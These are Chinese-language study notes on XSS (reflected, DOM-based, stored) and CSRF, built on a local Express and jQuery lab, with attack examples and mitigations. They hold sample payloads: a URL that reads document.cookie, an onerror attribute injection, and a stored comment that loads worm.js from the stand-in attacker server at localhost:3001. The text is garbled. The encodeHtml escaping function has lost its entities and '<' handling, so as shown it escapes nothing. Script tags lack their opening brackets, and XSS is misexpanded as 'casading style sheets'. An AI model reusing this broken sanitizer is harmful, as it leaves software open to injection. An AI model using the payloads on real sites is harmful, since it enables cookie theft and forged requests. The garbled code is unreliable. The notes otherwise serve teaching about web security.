网站常见的2种攻击

- xss (casading style sheets)
  理解
  跨站脚本攻击，很像 sql 注入，在某些网站上注入非法的脚本
  分类
  - 反射型xss
    例子:实现一个登陆功能，通过 cookie 校验身份，cookie 可能会被盗走
    登陆场景常规实现
    客户端
    用户输入账号和密码点击登陆后，服务端返回code:0，则表示登陆成功跳转至/welcome欢迎页
    服务端
    接收登陆请求后，验证用户名和密码，无误-->
    let session={},SESSION_ID='connect.sid'
    1.随机生成的cardId表示用户身份
    2.给客户端设置cookie:res.cookie(SESSION_ID,cardId)
    3.存储用户登陆信息session[cardId]={user}
    4.返回code:0
    欢迎页
    app.get('/welcome',(req,res)=>{res.send(`${req.query.type}`)})
    问题
    用户登陆成功后，诱导用户自己点开(一次性)
    http:localhost:3001/welcome?type=script>alert(document.cookie)/script>
    成功获取到cookie
    （chrome 发现路径存在异常（注入js脚本） 会有xss屏蔽功能）
    解决方式
    1.设置httpOnly:true禁止浏览器访问这个cookie，让cookie在前端不可以获取
    - res.cookie(SESSION_ID, cardId, { httpOnly: true })
    缺点
    - 并不是解决xss的方案 只是降低受损的范围
    - 虽然阻止了黑客，但用户也访问不了了，而且依然没有根本上阻止脚本注入
    2.处理反射型xss:encodeURIComponent
    app.get('/welcome',(req,res)=>{res.send(`${encodeURIComponent(req.query.type)}`)})
  DOM_BASED型xss
    理解
    - 不基于后端
    - 当用户在页面插入了内容，或者修改了某个标签的属性，document.write()
    - 改变页面结构后，会造成攻击
    - 攻击的内容一般被叫做 xss payload xss载体
    - 只是改变了当前客户端的页面展示。不会伤害到其他用户的客户端
    例子:
    $('#add').on('click', function() {
    $('.box').html(`img src="${$('#web').val()}">`)
    })
    比如用户输入
    xxx" onerror="alert(1)" id="
    or
    ">script>alert(1)/script>
    解决方式:
    处理DOM-BASED型xss: encodeURI转译输入的内容
    $(".box").html(`img src="${encodeURI($("#web").val())}">`);
  存储型 xss:
    理解
    恶意的脚本存储到了服务器上，所有人访问时都会造成攻击,比反射型和 DOM-Based 范围更大
    持久型/存储型: 恶意写入的信息入了数据库/服务端，所有用户请求访问都会造成攻击
    微博 访问时会以自己的身份发一条恶意微博
    例子:
    评论页面中，用户输入评论提交后，提交内容展示在评论列表
    解决方式
    3处过滤->客户端发数据/服务端接受数据/输出时
    1.客户端发数据
    let content = encodeHtml($("#content").val());

2.输出时过滤

```
function encodeHtml(str) {
  return str
    .replace(/&/g, "&")
    .replace(/"/g, """)
    .replace(/'/g, "'")
    .replace(//g, ">");
}
```

. ps:第三方网站怎么拿到 cookie 的?
  - 第三方网站其实拿不到用户cookie, 当用户往3000端口提交内容时自动会动提交 cookie
  - 表单提交没有跨域问题，同源问题只在 ajax 上

- csrf (cross-site request forgery)
  理解
    跨站请求伪造，冒充用户的身份做一些事情。拿不到cookie，而是让用户发起一些钓鱼请求
  举例
    比如一个交友网站，访问之后可以记录你的身份冒充你。
    如钓鱼网站，给个吸引他的网站
    如转账：a 给 b 转账，转账之前访问了恶意页面导致安全问题
    实现一个钓鱼网站，盗走用户银行卡账户余额
    1.node server.csrf.js / npm run csrf 开启钓鱼网站 3001 服务
    2.node server.js / npm run start 开启目标 3000 服务
    3.模拟用户访问 localhost:3000,登陆成功
    4.模拟用户访问 localhost:3001/fish.html 钓鱼连接，发现账户余额减少
    （跨域名，钓鱼失败：模拟用户访问 http://a.crx.cn:3001/fish.html 钓鱼连接，账户余额不会减少）

  防止 csrf 攻击
    1.添加验证码 (体验不好)
    2.referer: 判断来源，如果是从 3001 发到 3000 的，断定是伪造的
      if (referer.includes("http://localhost:3000")) {}
      (不靠谱 可以通过 node 自己发请求来实现伪造)
      延伸：host请求的主机
    3.token
      crypto模块加密，给一个加密后的token, 类似验证码，但用户无感知
      12306 防御的不是盗取用户信息，而是机器人并发量

后台 express，前台 jquery
  解决方式:
    转账前输入验证码，设置 vpn 禁止访问某些网站

实现一个登陆功能
通过 cookie 校验身份，cookie 可能会被盗走

存储型 xss:
恶意的脚本存储到了服务器上，所有人访问时都会造成攻击,比反射型和 DOM-Based 范围更大
持久型/存储型：恶意写入的信息入了数据库/服务端，所有用户请求访问都会造成攻击
微博 访问时会以自己的身份发一条恶意微博
- 抓包拿到cookie和token---https
- xss + csrf = xsrf 弱网站
  在评论输入框中注入一段脚本script src="localhost:3001/worm.js">
  $.post('/api/addComment',{content:'i am cherish'})
  伪造信息